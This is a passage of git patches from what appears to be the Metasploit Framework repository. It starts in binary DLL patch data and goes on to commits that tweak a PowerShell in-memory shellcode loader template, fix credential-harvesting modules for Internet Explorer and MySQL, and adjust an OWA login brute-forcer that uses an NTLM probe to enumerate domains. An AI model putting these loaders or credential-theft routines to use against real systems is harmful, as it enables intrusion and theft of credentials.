zL>B{gWq_Qd+vpyE?F~Te6itIAKf?dc^VQp<vEHBee0+M3Jin4aX=n z?gdTnhtr;BJ`UPxG>=#<)^58!Z2xMzPLC7seggM1%;T^Y3%q;1YOl^aj?;hZ4fNCf zYcP7>`rUp&1jQ=xj`&*q7&&BjpTW2khrEtHjHBu7YjzsVxR~2K2TgblB$KV)qi#@l zt4yl_gr@+qEA$WbD&sY{jkHiWBXkb&MKk|t{%Upsd|%pEI2u6ng7b!x;O4n2+$y&b z1^(DIyqU0O6)=A!jQ2ZO<0iiyM~PD^aGr}WuzB<;`VEA(myHJd7a@UF@)yDX zvFc=ah~jAK`dIw}bF~0DYi(Go)%Jqxl5nzlda+)qSL+|?UxCes8>TVU_zjV3Oh|-Q zz%n$1?le~b4NW-aOnb52Z2#&Ean}RU8QzuNCa>Fz^^-tiwx8u!3MDB{Nyed4;CE)x z=R&(9);m2;sl&@ojNmbPg0|9d3LDPGvVH7Tc8vW1|2}}f#2a`MKfzPf5l}0sR;$m# z-Rx68SCh0M+A!^MP18>6KkL1EI`Yh)jC{cME@QRvuu)}fLr#3zcoiw<9pkw1vGEx^ z&<{oruF*e~7#bcjLN21?wV`Pk(`OJMTf!*+W7aVHHYeX(1~L88>%#b@`ni6k-|pk6 zG!9D$e0_{gqO;iD>_he)`b&6PR9tW5H}iW?;w^kPKgvJn-MpWgtUhmiYs?MZ0cVu} zPjEAAO^I1=eu6xD${cI$vR<+tfU((utkr3Ue}Wab$hp@&W=9Vg;m&xBqH4K>G`E3IzpXG?Jt z+*0>b_jflJR=yr-@-;6LRMz1ud2!K<@Ce-&X1m$jtc`uodf6mChhM1|>YMe~@!XL8np9!K0>Wg&l!IR71%{UPqDqsF0sQa?NYnUUSpTr>!I^=kYmc6XPsEk zi&7jHja!ArI;+w;XI^s>CE-YmGEJH2(@MNq}D;ziLIsZwcNGzZRvNL9k^_hS#L z>(%WDCq+n4XJBB?YXLn$Ptu3zeL8~QSs$mAG#tBuw` zh7CnzT8wPJfy}?Y#qD*2UM}EO?HvNVl6@DvUhda}R04<(Q^iWLUDQBcYDFD1Iuaia zgYVl!J92)f=n~!VGG`-hCM!Xymm6*+V+QBZsdOftL+3-27sF$h&{BDBEwQfY%Mg+L zPy(4PWo2v)D@W?7LK580cCuQey;I@rbZW5+ID}n5tJ8*UK!h<9-E=qTQrC1{HwRP|$&riQ5`eA@tWf1vyLCXw zK{?F)$I+ir!khHVZY&9<$ zpGpy(%GD}>qXv$zNo`hJBw0>wlJjmSPdEI!oa~8d*i%eu`VENWo~(u$OUax42Skg~ zfTEm^iRoy-NpFmih095%thk*lX*j=})Wr0!@~h1HGP*o^oW>7TMaL1~J7 zm68VJpgYOv*vKZJnaU}5l1^zZAw6=!QZl3=_!z0|-|+k@GB_!G6ki*|+i5B`Q9)`_ zmuCIDl?%q>2P11Ct?}FffD5ks+(C8u;aUtI0Y9 z*W4mMt0q@Sx(IK{+Kj=veKT1uKiGIdcAl&v*%I^-l>Ii7 zZKgPU24+`5_!9o!k}3U!BiqA5S#Of*x>RC#g;+cw~@5Cpp)s;IZg7wHZohzTSZdk%2i~1Ac-hPBLp@qpaImfxs2H1Ms(^hI+YAB zU!>RRiV;Blwu5&~sC7%IHB@XaGZU>OYbPL+ZRa2hb|Ax-I-PEp+wJzaXTh+F7x3b} zL@&>q;}wBxOTBWh3SOzsYr>8w7nv$3GKDLYbfRQpwvBGGB|O5WOYVS zR}i4=U5lbmSxshLm&}7)6dIZ1-Yh-0sE5)O8&sy#4wOCQVxaZ8;FO delta 41 vcmZoz!_%;aXTlHWp8YNpfBQ1AYc_i^wtF!$Zueqj>bedR-hTZClcp^ISfvmA diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll index e879e968bbf49619d12e2d0f2db8b9061c34bd29..e101c7b7cfe1f50256fd61277600957210f1a9a5 100755 GIT binary patch delta 43 xcmZqJ!PBsVX8|L#Tv_I1W=3CT^0{|o24e$T} delta 43 xcmZqJ!PBsVX8|L#@qU-d%#6Ow?5r%!!Hn&}jEviZ8JP~g1xaidf6w$%2LK<64b=bu From e18dd3ec0ba8ca784078579db472f9aa49d6f736 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 25 Oct 2013 01:19:43 +0100 Subject: [PATCH 337/409] Use base64 to reduce size --- data/templates/scripts/to_mem_dotnet.ps1.template | 2 +- lib/msf/util/exe.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/data/templates/scripts/to_mem_dotnet.ps1.template b/data/templates/scripts/to_mem_dotnet.ps1.template index 6185274299..3641ac94ef 100644 --- a/data/templates/scripts/to_mem_dotnet.ps1.template +++ b/data/templates/scripts/to_mem_dotnet.ps1.template @@ -20,7 +20,7 @@ $%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].A $%{var_compileParams}.GenerateInMemory = $True $%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode}) -%{shellcode} +[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}") $%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite) if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return } diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 43ad61470e..fb45c462f0 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -910,7 +910,7 @@ def self.to_vba(framework,code,opts={}) hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code]) + hash_sub[:b64shellcode] = Rex::Text.encode_base64(code) return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(? Date: Fri, 25 Oct 2013 00:26:38 -0500 Subject: [PATCH 338/409] [FixRM #8525] undefined method `+' for nil:NilClass in enum_ie Looks like for some reason if CryptUnprotectData fails, the decrypt_reg() method will return "". And when you unpack "", you produce an array of nils. Since you cannot add something to nil, this should cause an "undefined method `+' for nil:NilClass" error. This will check if we get an array of nils, we jump to the next iteration. --- modules/post/windows/gather/enum_ie.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/post/windows/gather/enum_ie.rb b/modules/post/windows/gather/enum_ie.rb index 7c4159f971..818b6b5e6d 100644 --- a/modules/post/windows/gather/enum_ie.rb +++ b/modules/post/windows/gather/enum_ie.rb @@ -321,6 +321,12 @@ class Metasploit3 < Msf::Post dec = decrypt_reg(url, data) #decode data and add to creds array header = dec.unpack("VVVVVV") + + # If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up + # returning an array of nils. If this happens, we can cause an "undefined method + # `+' for NilClass." when we try to calculate the offset, and this causes the module to die. + next if header == [nil, nil, nil, nil, nil, nil] + offset = header[0] + header[1] #offset to start of data cnt = header[5]/2 # of username/password combinations secrets = dec[offset,dec.length-(offset + 1)].split("\x00\x00") From b69ee1fc67494f08d1df2a5cb28eda5a15b11028 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Oct 2013 09:29:19 -0500 Subject: [PATCH 339/409] [FixRM #8419] Add module platform to ms04_011_pct --- modules/exploits/windows/ssl/ms04_011_pct.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/ssl/ms04_011_pct.rb b/modules/exploits/windows/ssl/ms04_011_pct.rb index a383445fc7..6123518f56 100644 --- a/modules/exploits/windows/ssl/ms04_011_pct.rb +++ b/modules/exploits/windows/ssl/ms04_011_pct.rb @@ -49,6 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "", 'StackAdjustment' => -3500, }, + 'Platform' => 'win', 'Targets' => [ [ From d9f055f03f730c5469e70deaf57f9443bb1623dd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Oct 2013 09:44:38 -0500 Subject: [PATCH 340/409] [FixRM #8494] Don't try to create war without exe --- msfpayload | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/msfpayload b/msfpayload index 62e41e01e3..5186274f92 100755 --- a/msfpayload +++ b/msfpayload @@ -215,7 +215,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) if(!exe and plat.index(Msf::Module::Platform::Java)) exe = payload.generate_war.pack - else + elsif exe exe = Msf::Util::EXE.to_jsp_war(exe) end From a95425de08b2a43cbaa351a06cddc1a431ac2693 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 25 Oct 2013 10:47:41 -0500 Subject: [PATCH 341/409] Check dec instead --- modules/post/windows/gather/enum_ie.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/enum_ie.rb b/modules/post/windows/gather/enum_ie.rb index 818b6b5e6d..09e06862e0 100644 --- a/modules/post/windows/gather/enum_ie.rb +++ b/modules/post/windows/gather/enum_ie.rb @@ -319,13 +319,14 @@ class Metasploit3 < Msf::Post if val_arr.include?(hash) data = registry_getvaldata(regpath, hash) dec = decrypt_reg(url, data) - #decode data and add to creds array - header = dec.unpack("VVVVVV") # If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up # returning an array of nils. If this happens, we can cause an "undefined method # `+' for NilClass." when we try to calculate the offset, and this causes the module to die. - next if header == [nil, nil, nil, nil, nil, nil] + next if dec.empty? + + #decode data and add to creds array + header = dec.unpack("VVVVVV") offset = header[0] + header[1] #offset to start of data cnt = header[5]/2 # of username/password combinations From 0084f32ca248f2b1dce67ba7e322a68c300440e4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Oct 2013 11:21:42 -0500 Subject: [PATCH 342/409] Print default values when unset options --- lib/msf/ui/console/command_dispatcher/core.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index bad2610e41..f76067c754 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3081,11 +3081,11 @@ class Core 'Columns' => columns ) [ - [ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || '', 'Log all console input and output' ], - [ 'LogLevel', framework.datastore['LogLevel'] || '', 'Verbosity of logs (default 0, max 5)' ], - [ 'MinimumRank', framework.datastore['MinimumRank'] || '', 'The minimum rank of exploits that will run without explicit confirmation' ], - [ 'SessionLogging', framework.datastore['SessionLogging'] || '', 'Log all input and output for sessions' ], - [ 'TimestampOutput', framework.datastore['TimestampOutput'] || '', 'Prefix all console output with a timestamp' ], + [ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ], + [ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 5)' ], + [ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ], + [ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ], + [ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ], [ 'Prompt', framework.datastore['Prompt'] || '', "The prompt string, defaults to \"#{Msf::Ui::Console::Driver::DefaultPrompt}\"" ], [ 'PromptChar', framework.datastore['PromptChar'] || '', "The prompt character, defaults to \"#{Msf::Ui::Console::Driver::DefaultPromptChar}\"" ], [ 'PromptTimeFormat', framework.datastore['PromptTimeFormat'] || '', 'A format for timestamp escapes in the prompt, see ruby\'s strftime docs' ], From b781e58a67a1ce9230eb29350ebb2a46c47b1a33 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 25 Oct 2013 11:40:28 -0500 Subject: [PATCH 343/409] Unformat the prompt and promptchar --- lib/msf/ui/console/command_dispatcher/core.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index f76067c754..d6615801d4 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3086,8 +3086,8 @@ class Core [ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ], [ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ], [ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ], - [ 'Prompt', framework.datastore['Prompt'] || '', "The prompt string, defaults to \"#{Msf::Ui::Console::Driver::DefaultPrompt}\"" ], - [ 'PromptChar', framework.datastore['PromptChar'] || '', "The prompt character, defaults to \"#{Msf::Ui::Console::Driver::DefaultPromptChar}\"" ], + [ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ], + [ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ], [ 'PromptTimeFormat', framework.datastore['PromptTimeFormat'] || '', 'A format for timestamp escapes in the prompt, see ruby\'s strftime docs' ], ].each { |r| tbl << r } From 4bf041ec468fcb2cd8ab4f14a5d36a57fed30a9e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 25 Oct 2013 11:52:54 -0500 Subject: [PATCH 344/409] Use Rails, not Ruby, time formats. Since MSF now equires ActiveSupport, may as well reference it correctly. --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index d6615801d4..efc65be435 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3088,7 +3088,7 @@ class Core [ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ], [ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ], [ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ], - [ 'PromptTimeFormat', framework.datastore['PromptTimeFormat'] || '', 'A format for timestamp escapes in the prompt, see ruby\'s strftime docs' ], + [ 'PromptTimeFormat', framework.datastore['PromptTimeFormat'] || Time::DATE_FORMATS[:db].to_s, 'Format for timestamp escapes in prompts' ], ].each { |r| tbl << r } print(tbl.to_s) From 9276a839d4cf1aa61b8f7ddd4aac7f8815b9b66e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Oct 2013 16:19:47 -0500 Subject: [PATCH 345/409] [FixRM #4398] Report credentials to database --- modules/auxiliary/admin/mysql/mysql_enum.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/modules/auxiliary/admin/mysql/mysql_enum.rb b/modules/auxiliary/admin/mysql/mysql_enum.rb index 8275dbd8bf..107acc8924 100644 --- a/modules/auxiliary/admin/mysql/mysql_enum.rb +++ b/modules/auxiliary/admin/mysql/mysql_enum.rb @@ -7,6 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report include Msf::Exploit::Remote::MYSQL def initialize(info = {}) @@ -85,6 +86,15 @@ class Metasploit3 < Msf::Auxiliary print_status("\tList of Accounts with Password Hashes:") res.each do |row| print_status("\t\tUser: #{row[0]} Host: #{row[1]} Password Hash: #{row[2]}") + report_auth_info({ + :host => rhost, + :port => rport, + :user => row[0], + :pass => row[2], + :type => "hash", + :sname => "mysql", + :active => true + }) end end # Only list accounts that can log in with SSL if SSL is enabled From e0aec13ce1216e1c12cfa5a9e3efa2e6aea41ed5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Oct 2013 16:51:44 -0500 Subject: [PATCH 346/409] [FixRM #4397] Add reporting for energizer_duo_detect --- .../auxiliary/scanner/backdoor/energizer_duo_detect.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb index 269328065b..517a114412 100644 --- a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb +++ b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb @@ -98,11 +98,17 @@ class Metasploit3 < Msf::Auxiliary sock.put(trojan_command(:nop)) print_status("#{ip}:#{rport} FOUND: #{files.inspect}") - ## Add Report + ## Add Vulnerability and Report + report_vuln({ + :host => ip, + :name => "Energizer DUO USB Battery Charger Software Arucer.dll Trojaned Distribution", + :refs => self.references + }) report_note( :host => ip, :proto => 'tcp', :port => datastore['RPORT'], + :sname => "energizer_duo", :type => 'Energizer DUO Trojan', :data => files.inspect ) From 278dff93e7ba347de6f8400107b2727a8107cfaa Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 25 Oct 2013 21:41:24 -0500 Subject: [PATCH 347/409] Add missing require for Msf::Exploit::Powershell Thanks for the report, @mubix. --- modules/exploits/windows/local/wmi.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb index 9fd855573e..f23faad415 100644 --- a/modules/exploits/windows/local/wmi.rb +++ b/modules/exploits/windows/local/wmi.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/exploit/powershell' require 'rex' class Metasploit3 < Msf::Exploit::Local From e88e523eaaa8a9f0cb0f1fe1166f631edc9eddf7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Oct 2013 09:01:00 -0500 Subject: [PATCH 348/409] Delete newline --- data/wordlists/sap_icm_paths.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index a0853915b2..f35f5f718d 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -333,4 +333,4 @@ /wsnavigator /wsnavigator/jsps/redirect.jsp /wsnavigator/jsps/sendrequest.jsp -/wsnavigator/jsps/test.jsp +/wsnavigator/jsps/test.jsp \ No newline at end of file From 71a1ccf771cd0467da202cbc6ac4f613f1f4bf47 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Oct 2013 09:46:41 -0500 Subject: [PATCH 349/409] Clean owa_login enum_domain feature --- modules/auxiliary/scanner/http/owa_login.rb | 47 ++++++++++----------- 1 file changed, 23 insertions(+), 24 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 79418c9444..75647f89f1 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), - OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), + OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", false]), OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) ], self.class) @@ -118,14 +118,14 @@ class Metasploit3 < Msf::Auxiliary domain = nil - if datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '' - if datastore['ENUM_DOMAIN'] - domain = get_ad_domain - end - else + if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty? domain = datastore['AD_DOMAIN'] end + if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN']) + domain = get_ad_domain + end + begin each_user_pass do |user, pass| vprint_status("#{msg} Trying #{user} : #{pass}") @@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'POST', 'headers' => headers, 'data' => data - }, 25) + }) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("#{msg} HTTP Connection Failed, Aborting") @@ -240,31 +240,30 @@ class Metasploit3 < Msf::Auxiliary domain = nil - begin - urls.each do |url| + urls.each do |url| + begin res = send_request_cgi({ 'encode' => true, 'uri' => "/#{url}", 'method' => 'GET', 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} }) - - if not res - print_error("#{msg} HTTP Connection Error, Aborting") - return nil - end - - if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) - hash = res['WWW-Authenticate'].split('NTLM ')[1] - domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') - print_good("Found target domain: " + domain) - return domain - end + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + vprint_error("#{msg} HTTP Connection Failed") + next end - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") - return nil + if not res + vprint_error("#{msg} HTTP Connection Timeout") + next + end + + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') + print_good("Found target domain: " + domain) + return domain + end end return domain From 0f63420e9f995bd32becf0be4337fc1f61604398 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 28 Oct 2013 13:40:07 -0500 Subject: [PATCH 350/409] Be specific about the type of hash See #2583. Since there are several types of hashes, we need to be more specific about this -- see modules/exploits/windows/smb/psexec.rb which uses an "smb_hash" as a password type. Also, the fixes in #2583 do not appear to address anything else reported on the Redmine issue, namely, operating system and architecture identification discovered with this module (assuming good credentials). Therefore, the Redmine issue should not be considered resolved. [SeeRM #4398] --- modules/auxiliary/admin/mysql/mysql_enum.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/mysql/mysql_enum.rb b/modules/auxiliary/admin/mysql/mysql_enum.rb index 107acc8924..da2fac8836 100644 --- a/modules/auxiliary/admin/mysql/mysql_enum.rb +++ b/modules/auxiliary/admin/mysql/mysql_enum.rb @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary :port => rport, :user => row[0], :pass => row[2], - :type => "hash", + :type => "mysql_hash", :sname => "mysql", :active => true }) From 9bb9f8b27b4671d00ad46bce7b4011ff55aeee84 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 28 Oct 2013 13:48:25 -0500 Subject: [PATCH 351/409] Update descriptions on SMB file utils. --- modules/auxiliary/admin/smb/delete_file.rb | 9 +++------ modules/auxiliary/admin/smb/download_file.rb | 9 +++------ 2 files changed, 6 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 49a180101f..0829179e2f 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -22,17 +22,14 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'SMB File Delete Utility', 'Description' => %Q{ - This module deletes a file from a target share and path. The only reason - to use this module is if your existing SMB client is not able to support the features - of the Metasploit Framework that you need, like pass-the-hash authentication. + This module deletes a file from a target share and path. The usual reason + to use this module is to work around limitations in an existing SMB client that may not + be able to take advantage of pass-the-hash style authentication. }, 'Author' => [ 'mubix' # copied from hdm upload_file module ], - 'References' => - [ - ], 'License' => MSF_LICENSE ) diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 9bee5f77fd..392fabad12 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -22,17 +22,14 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'SMB File Download Utility', 'Description' => %Q{ - This module downloads a file from a target share and path. The only reason - to use this module is if your existing SMB client is not able to support the features - of the Metasploit Framework that you need, like pass-the-hash authentication. + This module deletes a file from a target share and path. The usual reason + to use this module is to work around limitations in an existing SMB client that may not + be able to take advantage of pass-the-hash style authentication. }, 'Author' => [ 'mubix' # copied from hdm upload_file module ], - 'References' => - [ - ], 'License' => MSF_LICENSE ) From 9045eb06b0543a7dfd131f50d825f5ce97015cb1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 28 Oct 2013 14:00:19 -0500 Subject: [PATCH 352/409] Various title and description updates --- modules/auxiliary/dos/http/nodejs_pipelining.rb | 4 ++-- modules/auxiliary/scanner/http/jenkins_enum.rb | 5 +++-- modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb | 2 +- modules/exploits/osx/local/persistence.rb | 4 ++-- modules/exploits/windows/emc/replication_manager_exec.rb | 2 +- 5 files changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb index 0c0e57141c..02587acb33 100644 --- a/modules/auxiliary/dos/http/nodejs_pipelining.rb +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -13,9 +13,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Node.js HTTP Pipelining DoS', + 'Name' => 'Node.js HTTP Pipelining Denial of Service', 'Description' => %q{ - This module exploits a DoS in the HTTP parser of Node.js versions + This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions released before 0.10.21 and 0.8.26. The attack sends many pipelined HTTP requests on a single connection, which causes unbounded memory allocation when the client does not read the responses. diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb index 5ad0655639..5f5b2ebbe7 100755 --- a/modules/auxiliary/scanner/http/jenkins_enum.rb +++ b/modules/auxiliary/scanner/http/jenkins_enum.rb @@ -19,9 +19,10 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Jenkins Vulnerability Scanner', + 'Name' => 'Jenkins Enumeration', 'Description' => %q{ - This module scans a Jenkins installation for a few vulnerabilities. + This module enumerates a remote Jenkins installation in an unauthenticated manner, including + host operating system and and Jenkins installation details. }, 'Author' => 'Jeff McCutchan', 'License' => MSF_LICENSE diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index c27e52eee7..d636f73a92 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'D-Link DIR-605L Captcha Handling Buffer Overflow', 'Description' => %q{ - This module exploits an anonymous remote code execution on D-Link DIR-605L routers. The + This module exploits an anonymous remote code execution vulnerability on D-Link DIR-605L routers. The vulnerability exists while handling user supplied captcha information, and is due to the insecure usage of sprintf on the getAuthCode() function. This module has been tested successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment. diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index 322e6acb76..67754c800c 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -19,9 +19,9 @@ class Metasploit3 < Msf::Exploit::Local super( update_info( info, 'Name' => 'Mac OS X Persistent Payload Installer', 'Description' => %q{ - This module provides a persistence boot payload by creating a plist entry + This module provides a persistent boot payload by creating a plist entry in current user's ~/Library/LaunchAgents directory. Whenever the user logs in, - the LaunchAgent will be invoked and our dropped payload will run. + the LaunchAgent will be invoked and this dropped payload will run. }, 'License' => MSF_LICENSE, 'Author' => [ "Marcin 'Icewall' Noga ", "joev" ], diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index 0adce53985..0a9e6b7710 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a remote command-injection vulnerability in EMC Replication Manager client (irccd.exe). By sending a specially crafted message invoking RunProgram function an - attacker may be able to execute arbitrary code commands with SYSTEM privileges. Affected + attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected products are EMC Replication Manager < 5.3. This module has been successfully tested against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested From 4128aa8c08d2ac75a821a0e87c191e3c3278d35f Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 28 Oct 2013 14:03:15 -0500 Subject: [PATCH 353/409] Resplat and tabs --- modules/post/windows/gather/credentials/sso.rb | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index fa2ec0c676..22572c3f95 100644 --- 